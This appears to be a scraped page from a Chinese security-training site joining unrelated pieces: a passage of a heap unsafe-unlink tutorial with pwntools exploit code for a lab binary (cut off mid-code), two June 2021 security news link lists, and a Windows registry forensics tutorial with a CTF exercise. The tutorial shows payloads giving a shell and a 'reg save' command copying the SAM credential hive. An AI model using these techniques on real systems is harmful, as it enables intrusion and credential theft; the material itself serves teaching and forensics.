chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?
首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。
C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。
由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。
这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。
可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。
palette_addr = 0x6020c0secret_button_addr = 0x6020a0payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2)
3、释放chunkB,并让堆管理器unlink chunkD。
释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。
operate(FREE,2)
4、修改chunkA,写入任意地址。
这里直接写入secret_button的地址,并调用mix函数。
payload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload)
5、修改chunkA,实现任意地址写。
secret_button只需非0即可,这里写入1。
operate(SET, 1, p64(1))
最后简单调用inspect即可getshell。
完整exp代码
from pwn import * binary_file = './a.out'io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})lib = ELF('./libc-2.27.so')proc = ELF(binary_file) palette_addr = 0x6020c0secret_button_addr = 0x6020a0button = 1ADD, FREE, SET, INSPECT = '1', '2', '4', '5' def operate(op, arg1='A', arg2='A', a
说明
编译源程序:gcc unsafe_unlink.c -no-pie
网络安全日报 2021年06月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Dell BIOSConnect 功能中的严重漏洞影响128 款设备
https://securityaffairs.co/wordpress/119369/security/dell-biosconnect-flaws.html
2、VMware 修复Carbon Black App Control中严重漏洞
https://securityaffairs.co/wordpress/119362/security/vmware-carbon-black-app-control-flaw.html
3、Zyxel 警告客户防范针对其防火墙和VPN设备的攻击
https://securityaffairs.co/wordpress/119351/hacking/zyxel-firewall-vpn-attacks.html
4、PYSA勒索软件团伙使用ChaChi RAT针对教育组织
https://securityaffairs.co/wordpress/119338/malware/chachi-rat-us-schools.html
5、谷歌宣布扩展其开源漏洞数据库(OSV)
https://www.securityweek.com/google-expands-open-source-vulnerabilities-database
6、 Atlassian 严重漏洞可导致帐户被劫持
https://thehackernews.com/2021/06/one-click-exploit-could-have-let.html
7、网络钓鱼活动利用PDF窃取用户Office365凭据
https://cofense.com/blog/security-update-phishing-pdf/
8、美国塔尔萨遭勒索软件攻击泄露超过1.8万份文件
https://edition.cnn.com/2021/06/23/us/tulsa-cyberattack-personal-information-dark-web/index.html
9、网络安全公司联手对抗 DMCA 有争议的部分
https://www.securityweek.com/cybersecurity-companies-join-forces-against-controversial-dmca-section
10、谷歌将逐步淘汰cookie跟踪技术计划推迟 2 年
https://www.securityweek.com/google-delays-phase-out-tracking-tech-nearly-2-years
Windows 取证之注册表
一、概述
注册表(英语:Registry)是Microsoft Windows操作系统和其应用程序中的一个重要的层次型数据库,用于存储系统和应用程序的配置信息。
早在Windows 3.0推出OLE技术的时候,注册表就已经出现。但是,从Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。(via 维基百科)
二、注册表的组成结构
注册表由键(key,或称“项”)、子键(subkey,子项)和值项(value)构成的hive文件组成,关于Windows注册表hive格式的详情说明可以参考这篇文章:https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
注册表的结构是一个树状结构,一个键(key,或称“项”)就是一个节点,子键(subkey)就是这个节点的子节点,子健也是键。键的一条属性被称为一个value(值项),value由名称、类型、数据类型和数据组成。一个键可以有多个值,每个值的名称不同,如果值名称是空,则该值为该键的默认值。
可以打开注册表编辑器查看其结构组成:
注册表的主键,也就是主分支有五个,分别是:
HKEY_CLASSES_ROOT:包含启动应用程序所需的全部信息,包括扩展名,应用程序与文档之间的关系,驱动程序名,DDE和OLE信息,类ID编号和应用程序与文档的图标等。
HKEY_CURRENT_USER:包含当前用户的配置信息,比如环境变量,桌面设置等
HKEY_LOCAL_MACHINE:包括安装在计算机上的硬件和软件的信息
HKEY_USERS:包含计算机的所有用户配置信息
HKEY_CURRENT_CONFIG:当前硬件的配置信息。
注册表数据类型主要有以下几种:
REG_SZ:字符串类型,文本字符串
REG_BINARY:二进制类型,不定长度的二进制值,以16进制形式显示
REG_DWORD:双字,32 位的二进制值,显示为 8 位的十六进制值
REG_MULTI_SZ:多字符串,有多个文本值的字符串,字符串间用 nul 分隔、结尾两个 nul
REG_EXPAND_SZ:可扩展字符串,包含环境变量的字符串
注册表中时间格式有以下几种:
FILETIME:64位值,代表间隔多少个单位为100纳秒的时间(从UTC1601年1月1日开始)
Unix Time:32位值,代表间隔多少秒(从UTC1970年1月1日开始)。
DOS Date/Time:两个16位值,详细记录了当地时间和年月日。
三、注册表的存储
注册表在Windows NT操作系统中被分为多个文件存储,这些文件被称为Registry Hives,每一个文件被称为一个配置单元。
主要配置单元有:
SYSTEM:对应的注册表分支为HKEY_LOCAL_MACHINE\SYSTEM,对应的存储文件是\Windows\System32\config\SYSTEM,其作用是存储计算机硬件和系统的信息。
NTUSER.DAT:对应的注册表分支是HKEY_CURRENT_USER,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
SAM:分支是HKEY_LOCAL_MACHINE\SAM,存储在C:\Windows\System32\config\SAM文件中,保存了用户的密码信息。
SECURITY:对应的分支HKEY_LOCAL_MACHINE\SECURITY,存储在C:\Windows\System32\config\SECURITY文件中,保存了安全性设置信息。
SOFTWARE:分支是HKEY_LOCAL_MACHINE\SOFTWARE,文件存储在C:\Windows\System32\config\SOFTWARE中,保存安装软件的信息。
修改注册表的主要方式有:1、使用提供Windows提供的注册表编辑器:%systemroot%\regedit.exe;2、使用reg命令,可以对注册表进行增删改查、导入导出注册表文件(reg文件)、导入导出或加载配置单元(RegHive)等操作;3、使用reg文件,用户可以通过注册表编辑器导出注册表某些项为一个reg文件,反之可以导入一个reg文件将项目还原或者修改。
此外,为了防止注册表出错和损坏,Registry hives还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以.LOG为后缀,多个日志后缀会显示LOG1、LOG2这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)
备份文件则在\Windows\System32\config\RegBack\路径中。
在发生修改将数据写入到主文件之前,Hive写入器会先将这些数据存储在事务日志文件中,如果写入事务日志时发生错误(比如系统崩溃),则主文件不会受影响。如果写入主文件时发生错误,可以通过事务日志包含的数据恢复主文件。
四、获取和分析Hive
要获取Hive,可以通过reg save命令创建Registry Hives的副本。(在管理员权限的命令提示符中执行)
C:\WINDOWS\system32>reg save hklm\sam c:\sam
操作成功完成。
C:\WINDOWS\system32>
分析Hive可以使用开源软件RegRipper,RegRipper是一个用perl编写的开源工具,可以从注册表中提取和解析各种信息(Key、value、data)以供取证人员进行分析。
RegRipper项目地址:https://github.com/keydet89/RegRipper3.0
打开RegRipper软件,选择Hive文件,设置好报告存储路径,选择好Profile,然后点Rip It
它会创建两个文件,一个是日志文件,一个是报告文件
打开SAM hive的分析报告文件,可以看到用户和用户组的详细信息
五、取证实战
来源:Cynet应急响应挑战赛
题目描述:Podrick 说在2020 年 2 月 3 日午餐时间(下午 12:00 左右),有一个恶意的 USB 设备插入了他的电脑。他还提到他看到他的一位同事——Theon G,手里拿着 USB设备离开了他的办公室。但Theon 声称他进入办公室是为了拜访 Aria(与Podrick在同一办公室)。见Aria不在,他便离开了办公室。Podrick没有锁屏的习惯,他怀疑Theon趁他不在的时候窃取了他的数据。
提示:1、检查Podrick的电脑;2、确定2020年2月3日,是否有USB设备连接到Podrick的PC?;3、提交可疑 USB 设备的Serial/UID
题目提供的文件是几个Hive文件
这些文件代表什么,在前面的小节中都已经介绍过了,除了Amcache.hve,这是Win8及更高版本的系统才有的。它存储与执行程序相关的信息,当用户执行某些操作(例如运行基于主机的应用程序、安装新应用程序或从外部设备运行便携式应用程序)时,它会记录程序相关的信息:如程序的创建时间、修改时间、名称、描述、程序厂商和版本、程序的执行路径、SHA-1哈希值等。即使程序从系统中删除,这些信息依然存在。
回到题目,我们要调查USB使用痕迹,根据前面的知识,我们需要分析SYSTEM这个Hive文件。
打开RegRipper工具,加载提供的SYSTEM文件,导出分析报告。
打开报告文件,通过搜索USBSTOR(这个key(SYSTEM\CurrentControlSet\Enum\USBSTOR)存储了任何曾经连接过系统的USB设备的产品信息和设备ID),可以找到有关USB设备的注册表信息。
通过查找和筛选比对,最终我们找到2020-12:12:32有一个USB设备插入了电脑,Serial/UID是: 4C530000281008116284
参考资料:
Registry Hives - Win32 apps | Microsoft Docs https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives
注册表 - 维基百科,自由的百科全书 https://zh.wikipedia.org/wiki/%E6%B3%A8%E5%86%8C%E8%A1%A8
regf/Windows registry file format specification.md at master · msuhanov/regf · GitHub https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
本文涉及相关实验:FastIRCollector:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100814354600001 (FastIR Collector是一个Windows下的取证/信息收集工具,收集的东西揽括了所有你能想到的东西,不限于内存,注册表,文件信息等。本实验将介绍FastIR Collector在windows 7下的使用。)
网络安全日报 2021年06月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、与巴基斯坦有关的黑客攻击印度电力公司
https://thehackernews.com/2021/06/pakistan-linked-hackers-targeted-indian.html
2、Linux Pling Store 中未修补的漏洞可能导致供应链攻击
https://thehackernews.com/2021/06/unpatched-critical-flaw-affects-pling.html
3、Revil勒索软件代码被竞争对手窃取
https://threatpost.com/revil-ransomware-code-rivals/167167/
4、VMware修复了VMware Tools for Windows权限提升漏洞
https://securityaffairs.co/wordpress/119294/security/vmware-fixes-privilege-escalation-issue-in-vmware-tools-for-windows.html
5、Palo Alto 修复了 Cortex XSOAR产品中关键漏洞
https://securityaffairs.co/wordpress/119276/security/palo-alto-networks-cve-2021-3044-cortex-xsoar.html
6、受疫情影响,针对游戏行业和玩家的黑客攻击激增
https://www.securityweek.com/games-gaming-and-gamers-are-rapidly-growing-target-hackers
7、网络犯罪分子以Covid-19疫苗接种计划进行网络钓鱼部署恶意软件
https://cyware.com/news/a-covid-19-themed-campaign-delivering-agent-tesla-d5779a3f
8、Lexmark打印机中存在一个任意代码执行漏洞
https://threatpost.com/lexmark-printers-code-execution-zero-day/167111/
9、SonicWall VPN应用中已修补的漏洞仍存在问题
https://thehackernews.com/2021/06/sonicwall-left-vpn-flaw-partially.html
10、亚太互联网络信息中心由于配置错误数据泄露
https://portswigger.net/daily-swig/asia-pacific-internet-registry-apnic-says-whois-admin-passwords-were-mistakenly-exposed-for-three-months
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

